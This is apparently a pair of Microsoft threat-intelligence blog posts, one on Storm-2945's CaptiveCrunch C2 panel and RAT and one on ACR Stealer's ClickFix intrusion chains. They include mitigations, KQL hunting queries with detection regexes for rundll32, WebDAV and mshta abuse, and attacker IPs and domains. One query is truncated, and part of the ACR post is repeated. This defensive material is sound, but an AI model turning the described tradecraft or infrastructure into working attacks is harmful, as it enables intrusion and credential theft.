FruitStone is the web-based C2 panel that Storm-2945 operators use to manage the entire CaptiveCrunch campaign infrastructure. Implemented as a single-page application (HTML and JavaScript) serving as the front-end of the C2 server with all functionality exposed without authentication, FruitStone provides a centralized dashboard for managing compromised endpoints, building and deploying new campaign payloads, and reviewing all collected data (such as screenshots, keystrokes, browser credentials).

Operational cover. The panel is branded as “CloudSync Console” with a footer reading “Acuity Systems, Inc. — Cloud Infrastructure Portal v3.2.1,” designed to appear as legitimate enterprise cloud management software if the panel URL is discovered by defenders or hosting providers. This masquerading extends to the CornFlake agent’s service name (Cloud Sync Service) and description (“Synchronizes files with the cloud storage provider”), creating a consistent cover story across the toolchain.

Session management and multi-operator support. FruitStone uses JSON Web Token (JWT)-based authentication, session revocation, and rate limiting with IP blocking to prevent brute force attacks against the panel sign in. Multiple operators could be provisioned with individual accounts, and all active sessions are visible with IP address, user-agent, and creation time to enable operational security awareness across the operators.

Agent management. The panel displays all registered CornFlake agents in a dashboard with real-time status updates via Server-Sent Events (SSE). Each agent card shows comprehensive system information including hostname, username, OS version, CPU, RAM, disk usage, screen resolution, timezone, domain membership, and camera/microphone presence, all collected during the CornFlake posture sweep. Agents are grouped by country and subnet, with geographic distribution visualized on a map.

Operators could interact with individual agents through:

• Remote shell — Interactive cmd.exe or PowerShell command execution with command history
• File system browser — Live directory traversal and arbitrary file download from compromised hosts
• Collection tasking — On-demand screenshot, process list, keylog buffer flush, clipboard dump, security posture survey, ChromeKatz cookie/password extraction, camera capture, and audio recording
• Configuration push — Live runtime reconfiguration of C2 servers, watch paths, and C2 beacon timing
• Agent update — In-place implant update by pushing a new CornFlake build to a running agent
• Agent kill — Remote termination of the CornFlake implant

Campaign builder. A step-by-step wizard enables operators to configure and build new CornFlake payloads directly from the panel:

1. Identity — Campaign ID, C2 host and port, HTTP base URL, executable file name (svchost32.exe by default), and dropper type (C dropper at ~19 KB, Go stub at ~8 MB, or standalone self-installer)

2. Capabilities — Toggle individual collection modules: screenshots, process enumeration, keylogging, clipboard monitoring, posture survey, file exfiltration, and ChromeKatz browser credential theft

3. File Paths — Configure targeted directories and file extensions by category (documents, archives, images, code, data, emails, encryption keys)

4. Evasion — Enable garble symbol randomization (for GoLang payloads), XOR string encoding, GZip upload compression, and debug mode

Infrastructure management. FruitStone provides management interfaces for three layers of supporting infrastructure:

• Proxy relays — Multi-proxy C2 relay architecture with TLS certificate tracking (fingerprint, expiry), health checks, connection counts, bytes forwarded, and rotation capabilities that push updated server lists to all online agents
• Beacon profiles — Configurable timing profiles controlling agent sleep intervals, reconnection delays, TLS Server Name Indication (SNI) spoofing (like teams.microsoft.com), and DNS fallback domains
• Staging servers — External payload hosting infrastructure with push-to-deploy, file listing, and health monitoring

Device code abuse for cloud access

Since July 16, Microsoft has observed a portion of CaptiveCrunch landing pages redirecting users to device code authentication flow experiences. In these cases, users served these landings might be instructed to enter a device code into a legitimate Microsoft sign-in page, a technique commonly referred to as device code phishing.

Device code authentication is a legitimate OAuth workflow designed for devices that cannot support a traditional sign-in experience. However, threat actors could abuse this flow by initiating an authentication request on behalf of a user then convincing the user to enter an actor-controlled device code into a legitimate Microsoft authentication page. When successful, the victim authenticates the threat actor’s session rather than their own.

This activity is consistent with previously reported device code phishing operations conducted by Midnight Blizzard since August 2024. The observed technique does not appear fundamentally novel; however, integrating device code phishing into captive portal and traffic manipulation operations might increase the likelihood that users perceive the authentication request as legitimate. For additional details on Midnight Blizzard-related device code phishing techniques, see: Storm-2372 conducts device code phishing campaign. To understand other threat actors’ use of device code phishing and associated mitigations, see Inside an AI‑enabled device code phishing campaign.

How to protect against CaptiveCrunch activity

Minimize trust in hospitality and guest networks

When traveling, users should treat hotel, conference, airport, and other guest wireless networks as untrustworthy.

• Prefer private connectivity (including mobile hotspots, satellite, and eSIM-based cellular data connections) over public Wi‑Fi whenever practical.
  • For enterprise-managed devices, organizations can choose to prevent Wi-Fi connections to networks that have not been provisioned via Mobile Device Management (MDM). See: https://learn.microsoft.com/windows/client-management/mdm/policy-csp-wifi#allowmanualwificonfiguration
• Consider using enterprise-managed travel routers or hotspot devices that establish encrypted tunnels back to trusted corporate infrastructure before accessing sensitive resources.
• Avoid downloading software updates, certificates, browser updates, network troubleshooting tools, or security utilities presented through captive portals or other unexpected web prompts.
• Verify update requests through trusted operating system mechanisms rather than pop-up messages or website prompts.

Strengthen identity and access controls

Organizations should assume that public and hospitality network infrastructure might not be trustworthy and should adopt controls that limit exposure to traffic manipulation, credential theft, and device code phishing.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Use passwordless solutions like passkeys and implement multifactor authentication (MFA).
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with conditional access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Only allow device code flow where necessary. Microsoft recommends blocking device code flow wherever possible. Where necessary, configure Microsoft Entra ID’s device code flow in your Conditional Access policies.
• Implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request is not authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force MFA.
  • When a user is a high risk and Conditional access evaluation is enabled, the user’s access is revoked, and they are forced to re-authenticate.
  • For regular activity monitoring, use Risky sign-in reports, which surface attempted and successful user access activities where the legitimate owner might not have performed the sign-in. 
• Use a Security Service Edge (SSE) solution like Global Secure Access to secure access to any app or resource using network, identity, and endpoint access controls.

Reduce exposure during captive portal registration

Organizations should review what information employees provide to hospitality providers when connecting to guest networks.

• Do not reuse corporate credentials on hotel, conference, or guest-network registration pages.
• Where possible, organizations should evaluate whether venue-provided wireless is required for corporate events and conferences.
• Organizations should minimize unnecessary disclosure of employee identities, organizational affiliations, and travel details when booking accommodations or registering for guest network access, consistent with corporate policy and applicable local requirements.

Microsoft Defender detections and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint detects Storm-2945 activity under the detection Suspicious activity linked to a Russian state-sponsored threat actor has been detected. However, these alerts might be triggered by unrelated threat actor activity. The following chart lists Microsoft Defender detections specific to the TTPs utilized by Storm-2945 in this attack.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Midnight Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Detect file creation after Wi-Fi connectivity test on devices

The following query checks for a file creation on a device within two minutes of the device performing built‑in Network Connectivity Status Indicator (NCSI) test, which occurs when network connectivity is established to a Wi-Fi network with a captive portal. This activity might indicate an attacker’s initial access file presence on a device.

Please note that not all files discovered through this query might be malicious or related to this threat activity.

let ncsi_endpoints = dynamic(["msftconnecttest.com","edge-http.microsoft.com","msftncsi.com","captive.apple.com","clients1.google.com",
    "clients3.google.com","clients4.google.com","clients6.google.com","connectivitycheck.gstatic.com","connectivitycheck.android.com",
    "android.clients.google.com","www.gstatic.com","detectportal.firefox.com","detectportal.brave-http-only.com","cloudflareportal.com",
    "cloudflarecp.com","cloudflareok.com","connectivity-check.warp-svc","connectivity.cloudflareclient.com","spectrum.s3.amazonaws.com",
    "nmcheck.gnome.org"]);
let NCSIEvents = DeviceNetworkEvents
    | where Timestamp > ago(7d)
    | where RemoteUrl has_any (ncsi_endpoints)
    | project NCSI_Timestamp = Timestamp, DeviceId, DeviceName, RemoteUrl, NCSI_ReportId = ReportId, NCSI_InitiatingProcessFileName = InitiatingProcessFileName, NCSI_InitiatingProcessCommandLine = InitiatingProcessCommandLine, NCSI_AccountName = InitiatingProcessAccountName;
let FileDownloadEvents = DeviceFileEvents
    | where Timestamp > ago(7d)
    | where ActionType == "FileCreated"
    | where FileName has_any (".exe",".msi",".zip",".rar",".7z")
    | project Download_Timestamp = Timestamp, DeviceId, FileName, FolderPath, Download_ReportId = ReportId, Download_InitiatingProcessFileName = InitiatingProcessFileName, Download_InitiatingProcessCommandLine = InitiatingProcessCommandLine, Download_AccountName = InitiatingProcessAccountName;
NCSIEvents
| join kind=inner (
    FileDownloadEvents
) on DeviceId
| where Download_Timestamp >= NCSI_Timestamp and Download_Timestamp 

Detect connectivity to Storm-2945 infrastructure

The following query checks for connectivity to Storm-2945 infrastructure observed in this attack activity.

let target_domains = dynamic(["ms365-device.com", "ms365-live.com", "m365-owa.com", "owa-ms365.com"]);
let target_ips = dynamic(["31.57.243.154", "38.146.28.75", "38.146.28.132", "104.194.159.150", "107.189.26.194", "213.145.86.112"]);
DeviceNetworkEvents
| where RemoteUrl has_any(target_domains) or RemoteIP in (target_ips)
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RemoteUrl,
    RemoteIP,
    LocalIP,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    AccountName = InitiatingProcessAccountName,
    ReportId

Detect CornFlake RAT presence on affected systems

The following query checks for the presence of the CornFlake RAT binary.

DeviceProcessEvents
| where FolderPath == "%APPDATA%\\svchost32\\svchost32.exe"
   or FolderPath endswith @"\svchost32\svchost32.exe"
| project Timestamp, DeviceName, DeviceId, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName, ReportId

Detect CornFlake RAT Windows service registration

The following query checks for the CornFlake RAT Windows service registration.

DeviceRegistryEvents
| where RegistryKey has @"\SYSTEM\CurrentControlSet\Services\svchost32"
| where ActionType == "RegistryValueSet"
| where (RegistryValueName == "DisplayName" and RegistryValueData == "Cloud Sync Service")
    or (RegistryValueName == "Description" and RegistryValueData == "Synchronizes files with the cloud storage provider")
| project
    Timestamp,
    DeviceName,
    DeviceId,
    RegistryKey,
    RegistryValueName,
    RegistryValueData,
    ActionType,
    InitiatingProcessFileName,
    InitiatingProcessCommandLine,
    InitiatingProcessAccountName,
    ReportId

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Detect network IP and domain indicators of compromise using ASIM

The following query checks IP addresses and domain IOCs across data sources supported by ASIM network session parser:

//IP list and domain list- _Im_NetworkSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_domains = dynamic(["213.145.86.112/t/pixel.gif", "213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "213.145.86.112/t/event"]);
_Im_NetworkSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or DstDomain has_any (ioc_domains)
| summarize imNWS_mintime=min(TimeGenerated), imNWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, DstDomain, Dvc, EventProduct, EventVendor

Detect web sessions IP and file hash indicators of compromise using ASIM

The following query checks IP addresses, domains, and file hash IOCs across data sources supported by ASIM web session parser:

//IP list - _Im_WebSession
let lookback = 30d;
let ioc_ip_addr = dynamic(["213.145.86.112"]);
let ioc_sha_hashes =dynamic([“918fa52ae45ed60ba7cc8bdc99c3cbe9ab92e0375ec31fc05d0d4513be11c593”, “be99857449d2856dd5a84e21c8a3d5e0e01456adb44062ddec5a6b4970d8d42c”]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstIpAddr in (ioc_ip_addr) or FileSHA256 in (ioc_sha_hashes)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Detect domain and URL indicators of compromise using ASIM

The following query checks domain and URL IOCs across data sources supported by ASIM web session parser:

// file hash list - imFileEvent
// Domain list - _Im_WebSession
let ioc_domains = dynamic(["https://213.145.86.112/t/pixel.gif", "https://213.145.86.112/cdn/chunks/polyfill-7e2b.min.js", "https://213.145.86.112/t/event"]);
_Im_WebSession (url_has_any = ioc_domains)

ChocoShell C2 communications

The following query detects ChocoShell communications with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel.

let lookback = 30d;
let ioc_url_artifacts = dynamic(["/t/pixel.gif?m="]);
_Im_WebSession(starttime=todatetime(ago(lookback)), endtime=now())
| where DstDomain  in (ioc_url_artifacts)
| summarize imWS_mintime=min(TimeGenerated), imWS_maxtime=max(TimeGenerated),
  EventCount=count() by SrcIpAddr, DstIpAddr, Url, Dvc, EventProduct, EventVendor

Indicators of compromise

References

• https://reliaquest.com/blog/threat-spotlight-dns-poisoning-tactics-expand-to-hospitality/
• https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication

Learn more

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From late April 2026 to mid-June 2026, Microsoft Defender Experts observed increased ACR Stealer activity across customer environments. These campaigns are successfully using ClickFix lures to steal browser credentials, authentication tokens, and sensitive documents from enterprise environments. Successful compromise can expose browser credentials, session tokens, authentication artifacts, and sensitive enterprise data, potentially enabling account compromise, unauthorized access to cloud resources, and follow-on intrusion activity. Security teams should prioritize monitoring for ClickFix lures, suspicious WebDAV activity, obfuscated PowerShell execution, and attempts to access browser credential stores.

ACR Stealer is an information-stealing malware family reportedly offered through a malware-as-a-service (MaaS) model and associated with the rebranding of Amatera Stealer. During this period, two campaigns stand out, together appearing frequently in reviewed recent intrusions. Both begin the same way, with a ClickFix social engineering technique that tricks targets into running the threat actor’s command, but the intrusion chains that follow diverge in how they deliver payloads, establish execution, and evade detection.

The first campaign relies on WebDAV-delivered payloads, staged PowerShell, Python-based loaders and persistence, and, in some intrusions, blockchain-backed dead-drop command-and-control (C2) resolution. The second campaign takes a more fileless route, using MSHTA, obfuscated PowerShell, and steganography-assisted in-memory execution. Despite these differences, both campaigns ultimately pursue the same goal: stealing browser-stored credentials and other sensitive data for exfiltration.

These two campaigns represent some of the most prevalent ACR Stealer delivery campaigns observed by Defender Experts; however, they do not represent the full range of delivery methods used by this malware family. Attribution to ACR Stealer is based on the observed behavior and post-exploitation tradecraft, corroborated by open-source intelligence on the infrastructure associated with this malware family. Additional campaigns, infrastructure patterns, and execution chains are likely active, and organizations should treat the indicators and techniques described here as representative.

Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft. In this blog, we analyze both campaigns in detail, including their delivery mechanisms, post-exploitation tradecraft, indicators of compromise, hunting opportunities, and guidance to help defenders detect and disrupt related activity in their environments.

Campaign 1: WebDAV-based ClickFix with Python loaders and blockchain C2

Initial access

In this campaign, a ClickFix prompt, likely delivered through malvertising or SEO-manipulated search results, instructs the target user to run a command that launches cmd.exe. The command subsequently invokes rundll32.exe to load a DLL from a remote WebDAV share accessed over HTTPS. The WebDAV path commonly uses a GUID-based directory structure and filenames designed to resemble legitimate resources (for example, google.ct), enabling the activity to blend with expected network traffic and evade casual inspection.

We observed three variants of the initial execution command:

Variant 1: Direct rundll32 invocation

Variant 2: pushd-Mounted WebDAV Share

Variant 3: Headless and obfuscated pushd execution

Variants 2 and 3 are notable for their use of pushd, which transparently maps the remote WebDAV share to a temporary local drive prior to execution. This technique allows threat actors to execute remotely hosted content through what appears to be a local path, simplifying payload execution while reducing user awareness. In the more advanced variant, threat actors further enhance stealth by launching commands through conhost.exe –headless, suppressing visible console windows, and employing environment variable obfuscation with delayed variable expansion to conceal critical execution components such as pushd, rundll32, and the remote host name. Combined with minimized or headless execution, these techniques reduce user visibility, complicate static analysis and detection, and enable the infection chain to execute with minimal indication to the victim.

Execution, persistence, and evasion through process masquerading

Once rundll32.exe loads the DLL retrieved from the remote server, the malware establishes communication with threat actor-controlled infrastructure and executes a heavily obfuscated PowerShell script. The script employs excessive arithmetic no-ops, dead loops, fake control flow, and randomized variable names to hinder static analysis and evade signature-based detection.

The PowerShell script subsequently deploys another stage that functions as both a malware installer and a persistence mechanism. It:

• Downloads a ZIP-packaged payload from a remote server and extracts it into a deceptive directory under %LocalAppData%\Temp (for example, LogiOptionsPlus).
• Launches a Python script using a bundled pythonw.exe instance to avoid displaying a console window.
• Removes previous deployments and terminates running instances before installation, effectively operating as an updater.
• Establishes persistence through a hidden scheduled task disguised as a legitimate software update, ensuring execution at user sign-in.
• Copies timestamps from a trusted Windows binary (notepad.exe) to the deployed files and clears PowerShell command history to reduce forensic visibility.

Python loader launching the stealer

The Python component serves as a heavily obfuscated loader designed to conceal its true functionality until runtime. It employs multiple layers of defense against static analysis, including dynamic API resolution, encoded string reconstruction, junk-data removal, character shifting, string reversal, Base64 decoding, and zlib decompression. These techniques ensure that the embedded payload remains unreadable in its static form and is reconstructed only during execution, significantly hindering signature-based detection and automated analysis.

Once decoded, the final-stage payload functions as an in-memory shellcode loader. It extracts an archive file masquerading as a legitimate application installer, reads a file from the archive, and injects the payload into a system process. The loader allocates executable memory using VirtualAlloc, copies the payload into the allocated memory region, and transfers execution through the Windows Fiber API (ConvertThreadToFiber, CreateFiber, and SwitchToFiber). This technique facilitates stealthy in-memory execution while minimizing artifacts written to disk.

Credential theft and data staging for exfiltration

The malware (injected code) aggressively harvests information from browser credential stores. It invokes Windows Data Protection API (DPAPI) routines to decrypt locally stored browser passwords, cookies, and authentication tokens. It also enumerates files across the system, targeting PDFs, Microsoft 365 documents, and data stored in enterprise-synchronized directories such as OneDrive and SharePoint. The collected data is subsequently archived, indicating preparation for exfiltration.

Blockchain dead-drop C2 resolution

A notable variation in this campaign is the use of blockchain services for C2 resolution, utilizing a technique known as EtherHiding. While most intrusions rely on more conventional C2 mechanisms, a subset deploys an additional secondary Python loader that leverages blockchain services as dead-drop resolvers. When this loader executes, it has been observed communicating with public blockchain RPC endpoints and third-party Web3 node infrastructure, likely querying data stored on a decentralized public ledger to retrieve follow-up payloads or a C2 address.

By externalizing C2 information to the blockchain, operators could dynamically update infrastructure without modifying or redeploying the malware, significantly complicating detection and takedown efforts. This behavior was observed across both variants of the campaign.

Campaign 2: MSHTA-initiated PowerShell chain with steganographic payload delivery

The second campaign takes a distinctly different approach to both delivery and execution. Where Campaign 1 relies on disk-based artifacts (Python runtime, scheduled tasks, and masquerading binaries), this campaign achieves its objectives almost entirely through fileless, in-memory execution, making it harder to detect through file-based scanning and forensic analysis.

Initial access through MSHTA and ClickFix

The execution chain begins when the victim, directed through malvertising or SEO-manipulated search results, encounters a ClickFix prompt that triggers a command spawning MSHTA to fetch and execute remote HTA content from an threat actor-controlled domain. The embedded VBScript loader abuses COM objects to decode and execute encoded PowerShell content.

PowerShell downloader and obfuscation

The decoded PowerShell stage employs obfuscation techniques similar to those seen in Campaign 1: randomized variable names, arithmetic no-op operations, dead loops, misleading control flow, and custom encryption routines. Prior to contacting its next-stage infrastructure, the malware generates a victim-specific identifier and disables certificate validation. The retrieved content is executed directly in memory.

Steganography-based payload delivery

A notable technique in this campaign is the use of steganography to conceal malicious content inside a publicly hosted image. Instead of downloading a secondary script (as in Campaign 1), the malware retrieves a JPEG image from an image-hosting service.

Analysis of the script revealed custom routines that extract an embedded payload from image pixels, decrypt and decompress it, and execute it entirely in memory. The payload dynamically resolves APIs such as LoadLibrary, GetProcAddress, VirtualAlloc, CreateThread, and WaitForSingleObject at runtime to perform reflective shellcode execution. By combining steganography with in-memory execution, the malware minimizes on-disk artifacts and complicates both detection and analysis.

Credential theft, data collection, and exfiltration

Following execution, the malware accesses credential stores belonging to Chromium-based browsers, including Google Chrome and Microsoft Edge, specifically the Login Data and Web Data databases, alongside Windows DPAPI decryption activity. This behavior indicates attempts to recover stored browser credentials, session cookies, authentication tokens, and other sensitive user information.

The malware also enumerates and accesses multiple high-value PDF documents across Desktop and Downloads locations, suggesting targeted collection of potentially sensitive files. The combination of browser credential harvesting and systematic document access points to an information-stealing objective focused on staging credentials and valuable user data for exfiltration.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of ClickFix lures, script-based payload delivery, credential theft, and post-compromise activity.

• Educate users to recognize ClickFix-style prompts, fake verification checks, and paste-and-run instructions as malicious, especially when they invoke command interpreters or script hosts such as cmd.exe, PowerShell, rundll32.exe, or mshta.exe.
• Reduce exposure to malvertising, SEO poisoning, and other web-based delivery chains by enforcing web filtering, blocking low-reputation or newly observed domains, and limiting access to remote content sources that are not required for business operations.
• Use application control and attack surface reduction rules to restrict PowerShell, Python, mshta.exe, rundll32.exe, and similar tools from launching untrusted or internet-delivered content, particularly from user-writable directories such as Downloads, Temp, and %LocalAppData%.
• Monitor for suspicious persistence and defense-evasion behavior, including scheduled tasks masquerading as software updates, timestomping, PowerShell history clearing, and execution chains that progress from remote content retrieval into PowerShell, Python, or shellcode-loading behavior.
• Investigate abnormal access to Chromium-based browser databases, DPAPI-related decryption activity, staged collection of Microsoft 365 documents or PDFs, and compression activity that may indicate credential theft or data staging for exfiltration.
• If compromise is suspected, isolate affected devices, rotate exposed credentials, revoke potentially compromised tokens, review persistence mechanisms, and investigate outbound connections to remote shares, image-hosting services, or other infrastructure used to resolve or retrieve follow-on payloads.
• Harden endpoints against credential theft by reducing reliance on browser-stored credentials, enforcing multifactor authentication and conditional access, and reviewing how privileged accounts access sensitive applications and synchronized enterprise data.
• Turn on cloud-delivered protection and behavior-based detections to help identify rapidly evolving threats, suspicious script execution, in-memory payload delivery, abuse of browser credential stores, and unusual child-process activity.
• Run endpoint detection and response (EDR) in block mode and enable automated investigation and remediation so post-breach detections are contained, and malicious artifacts can be removed with minimal delay.
• Harden PowerShell by enforcing appropriate execution policies, turning on script block logging, module logging, and transcription, and monitoring this telemetry for signs of malicious script activity.
• Turn on tamper protection and prevent local administrators from weakening antivirus protection through local policy or exclusion changes.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog. 

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get current information available in the Defender portal about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments:

• Amatera Stealer: Rebranded ACR Stealer With Improved Evasion, Sophistication
• Double Trouble: Latrodectus and ACR Stealer observed spreading via Google Authenticator Phishing Site

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Advanced hunting queries

Microsoft Defender XDR customers can run the following advance hunting queries to find related activity in their networks:

Run the query below to identify suspicious commands executed through ClickFix-based activity observed while delivering this stealer

DeviceRegistryEvents
| where RegistryKey has "RunMRU"
| where (RegistryValueData has_all ("rundll32", "@ssl", " /c ", " start ") and (RegistryValueData matches regex @"\\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\\\w+\.\w+,#1" or
RegistryValueData matches regex @"(?i)pushd \\\\[^\\]+@ssl\\[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12} ")) 
or RegistryValueData has_all ("@ssl", " /c ", "conhost --headless ") and RegistryValueData contains "rundll32"

Run the query below to identify scheduled task creation used for persistence by a malicious PowerShell script

DeviceProcessEvents
| where InitiatingProcessFileName =~ "powershell.exe"
| where InitiatingProcessCommandLine has_all ("-Command", "powershell")
| where ProcessCommandLine has_all ("schtasks", " /run /tn ", " Autoupdate ") and ProcessCommandLine matches regex "[0-9]{8}"

Run the query below to identify suspicious MSHTA launch through PowerShell

DeviceProcessEvents
| where InitiatingProcessParentFileName has "explorer.exe"
| where InitiatingProcessFileName =~ "powershell.exe" and InitiatingProcessCommandLine in~ ('"PowerShell.exe" ', '"PowerShell.exe"')
| where ProcessCommandLine has_all ('"mshta.exe" https://') and ProcessCommandLine matches regex "/[0-9]{7}"

MITRE ATT&CK techniques observed

The following mapping summarizes the primary tactics and techniques observed across the two ACR Stealer intrusion chains. The mapping is intended to help defenders align observed behaviors with existing detection coverage, response playbooks, and hunting priorities.

Indicators of compromise (IOC)

References

• Intelligence Insights: May 2026 | Red Canary
• Possible ACR Stealer From Page Impersonating Claude

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  

The post ACR Stealer: Two observed intrusion chains amid increased threat activity appeared first on Microsoft Security Blog.

From late April 2026 to mid-June 2026, Microsoft Defender Experts observed increased ACR Stealer activity across customer environments. These campaigns are successfully using ClickFix lures to steal browser credentials, authentication tokens, and sensitive documents from enterprise environments. Successful compromise can expose browser credentials, session tokens, authentication artifacts, and sensitive enterprise data, potentially enabling account compromise, unauthorized access to cloud resources, and follow-on intrusion activity. Security teams should prioritize monitoring for ClickFix lures, suspicious WebDAV activity, obfuscated PowerShell execution, and attempts to access browser credential stores.

ACR Stealer is an information-stealing malware family reportedly offered through a malware-as-a-service (MaaS) model and associated with the rebranding of Amatera Stealer. During this period, two campaigns stand out, together appearing frequently in reviewed recent intrusions. Both begin the same way, with a ClickFix social engineering technique that tricks targets into running the threat actor’s command, but the intrusion chains that follow diverge in how they deliver payloads, establish execution, and evade detection.

The first campaign relies on WebDAV-delivered payloads, staged PowerShell, Python-based loaders and persistence, and, in some intrusions, blockchain-backed dead-drop command-and-control (C2) resolution. The second campaign takes a more fileless route, using MSHTA, obfuscated PowerShell, and steganography-assisted in-memory execution. Despite these differences, both campaigns ultimately pursue the same goal: stealing browser-stored credentials and other sensitive data for exfiltration.

These two campaigns represent some of the most prevalent ACR Stealer delivery campaigns observed by Defender Experts; however, they do not represent the full range of delivery methods used by this malware family. Attribution to ACR Stealer is based on the observed behavior and post-exploitation tradecraft, corroborated by open-source intelligence on the infrastructure associated with this malware family. Additional campaigns, infrastructure patterns, and execution chains are likely active, and organizations should treat the indicators and techniques described here as representative.

Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft. In this blog, we analyze both campaigns in detail, including their delivery mechanisms, post-exploitation tradecraft, indicators of compromise, hunting opportunities, and guidance to help defenders detect and disrupt related activity in their environments.

Campaign 1: WebDAV-based ClickFix with Python loaders and blockchain C2

Initial access

In this campaign, a ClickFix prompt, likely delivered through malvertising or SEO-manipulated search results, instructs the target user to run a command that launches cmd.exe. The command subsequently invokes rundll32.exe to load a DLL from a remote WebDAV share accessed over HTTPS. The WebDAV path commonly uses a GUID-based directory structure and filenames designed to resemble legitimate resources (for example, google.ct), enabling the activity to blend with expected network traffic and evade casual inspection.

We observed three variants of the initial execution command:

Variant 1: Direct rundll32 invocation

Variant 2: pushd-Mounted WebDAV Share

Variant 3: Headless and obfuscated pushd execution

